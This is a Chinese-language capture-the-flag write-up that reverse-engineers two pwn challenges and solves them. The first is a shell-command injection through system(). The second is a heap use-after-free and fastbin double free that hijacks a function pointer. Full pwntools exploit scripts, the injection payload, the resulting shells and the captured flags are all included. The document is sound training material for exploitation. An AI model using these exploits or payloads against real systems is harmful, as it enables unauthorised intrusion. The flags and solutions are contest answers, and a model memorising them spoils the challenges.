开学了,利用月赛练练手还是不错的<^_^>
第一题知识点: 二进制程序的命令执行漏洞
一. 程序逆向分析
1.查看开启了哪些保护:
➜ ~ checksec filesystem
[*] '/root/filesystem'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
可以发现只开起了canary和nx保护.
2.main函数分析
打开ida ,来到地址: 0x000000000400DB3, 这就是main函数地址, 按f5反编译查看源码:
其中init_()是被我重命名了的函数, 进行发现只是设置stdin,stdout和stderr为无缓冲模式,这样进行io操作不会在堆上分配缓冲区.
进行第二个while循环,首先puts一系列字符串, 重命名为menu.menu最后获取我们的输入:
然后比较输入和Create,Edit,Read,Checksec,Exit进行比较,从而执行对应的操作.
3.Create操作
允许最多创建0x10个所谓的file, 前0x30存放filename,后0x60存放filecontent(后面分析edit可知).
这些file存放在一个全局结构数组中, 首地址为
0x6020e0, 在ida跟进发现是个未初始化的全局变量.
4.Edit操作如下:
首先获取要编辑的file的id,这个id对应于全局结构体数组的下标,通过read函数从改结构体缓冲区的+0x30的位置开始read我们的输入,大小为0x60. 并将最后一个字符置x00.
5.Read操作就是根据输入的id输出file的filename和filecontent,比较简单
6.Checksec操作是本题的重头戏:
通过逆向得知,首先输入index,然后通过snprintf将filecontent格式化写入到局部缓冲区s中,没有任何检查就作为system的参数进行调用了. 我是通过绕过这里的字符串进行getshell的.
snprintf的功能是将第4个及以后的参数作为可变参数输入到第3个format字符串中,并将结果保存到第一个参数s中,最多0x80个字节(第二个参数). 最终的命令是:
echo “our_input” | md5sum our_input表示我们的输入, 在这里我们可以在linux终端下测试:
随便输入一些内容,比如abcd:
结果输出了abcd的md5值,
想到sql注入的双引号绕过:
发现还是不行
后来想到了;可以隔离多条命令,于是输入: “; /bin/sh ; “
果然执行了shell, 于是赶紧写出exp测试一下:
7.exp:
from pwn import *
#p = process('./filesystem')
p = remote('101.71.29.5', 10017)
print p.recvuntil('> ')
p.sendline('Create')
print p.recvuntil('Input Filename: ')
p.sendline('aaaaa')
print p.recvuntil('> ')
p.sendline('Edit')
print p.recvuntil('Input the Index:')
p.sendline('0')
print p.recvuntil('Input File Content: ')
p.sendline('"; /bin/sh ; "')
print p.recvuntil('> ')
p.sendline('Checksec')
print p.recvuntil('Input the Index:')
p.sendline('0')
p.interactive()
[*] Switching to interactive mode
id
/bin/sh: 1: id: not found
whoami
/bin/sh: 2: whoami: not found
ls
bin
dev
filesystem
flag.txt
lib
lib32
lib64
cat flag.txt
flag{7ee688b3ad2b8e2546d8bcdc62cdd03f}
二. hackmoon
第二题知识点: uaf, fastbin double free, unsorted_bin 泄露libc基址
1.安全检查
➜ ~ checksec hackmoon
[*] '/root/hackmoon'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
没有开始pie,很nice
2.main逆向分析
这道题的逻辑还是比较简单的, 首先对stdou和stdin设置无缓冲,防止他们对堆的干扰.
然后puts一系列字符串,即为menu. 然后读取输入的操作序号选择某个操作,再执行对应函数
3.add_moon逆向分析
发现可以对moonlist写入5次,也就是最多可以add5个moon.
遍历moonlist找到第一个不为0的成员,分配一个8字节内存给它,然后对这个内存的前4字节设置为一个函数指针, 后4字节设置为分配的新内存的地址,最后填入数据到这个地址中.
从这里可以看出, moonlist是一个全局结构体数组, 结构体定义大致如下:
struct moon{
void * print_moon_content;
char* moonContent;
};
4.del_moon逆向分析:
还是先获取全局数组moonlist的index,然后先对moon的moonContent堆内存进行释放,然后释放moon自己, 但是并没有对这2个指针置NULL,这是导致漏洞的关键因素.
5.print_moon逆向分析
还是先获取全局数组moonlist的index, 判断moon指针是否为0,不为0则调用第一个成员(函数指针)对自己进行打印:
其实就是puts了moon的moonContent成员字符串.
6.漏洞分析
首先通过申请一个0x80的moon,然后删除,再申请,这样第二次的moonContent内容和第一次的重叠, 由于第一次的moonContent释放会被放入unsorted bin,再次申请后上面还有2个指向unsorted bin的指针数据残留, 于是通过print_moon进行泄露出unsorted bin地址,通过计算可以得到libc基址
申请2次0x20大小的moon, 再依次删除,这样fast bin 链入2个数据域大小为8字节的chunk和链入2个数据域0x20大小的chunk, 再申请一个0x8大小的moon,会从fast bin把那2个8字节的chunk给他, 于是就可以控制第一个0x20大小的moon结构体的内容了,通过将其存放print_moon函数指针的内存改为存放system的地址, 再改存放moonContent的内存为;shx00, 当执行print_moon的时候其实执行了system,而且参数时 system_addr;shx00, 这样的思路本来是识别不了;前面的system_addr命令,但是;隔开2条命令是可以执行sh的. 这样的思路没错, 可是题目没有给libc, 就算泄露了libc基址也不知道libc版本. 我在这里想了想, 又翻了下程序发现有个magic函数,我们直接执行这个函数不就可以获取flag了:
7.exp:
from pwn import *
#p = process('./hackmoon')
p = remote('101.71.29.5',10016)
elf = ELF('./hackmoon')
libc = ELF('/lib/i386-linux-gnu/libc-2.23.so')
def add(size, content):
print p.recvuntil('Your choice :')
p.sendline('1')
print p.recvuntil('moon size :')
p.sendline(str(size))
print p.recvuntil('Content :')
p.send(content)
def delete(index, ):
print p.recvuntil('Your choice :')
p.sendline('2')
print p.recvuntil('Index :')
p.sendline(str(index))
print p.recvuntil('Successn')
return
def print_(index):
print p.recvuntil('Your choice :')
p.sendline('3')
print p.recvuntil('Index :')
p.sendline(str(index))
return
add(0x80,'000000')
add(0x20,'1111111') #防止删除后与top chunk合并
delete(0)
add(0x80,'2222')
#泄露unsorted bin 地址
print_(2)
print p.recvuntil('2222')
unsorted_bin = p.recv(4)
unsorted_bin = u32(unsorted_bin)
print 'unsorted_bin: ',hex(unsorted_bin)
libc_base = unsorted_bin - 0x1b27b0 #计算得到libc 基址
print 'libc_base: ', hex(libc_base)
system_addr = 0x08048994#libc_base+libc.sym['system']
get_flag = 0x8048986 #magic函数地址
add(0x20,'333')
delete(1)
delete(3)
add(0x8,p32(get_flag)+';shx00')#这里实际上修改了index为1的moon结构数据
#gdb.attach(p,'b *%s' % system_addr)
print_(1)
p.interactive()
[*] Switching to interactive mode
ls
bin
dev
flag.txt
hackmoon
lib
lib32
lib64
cat flag.txt
flag{1dc8f4dc0a39f4d4935a0cf1e0d10811}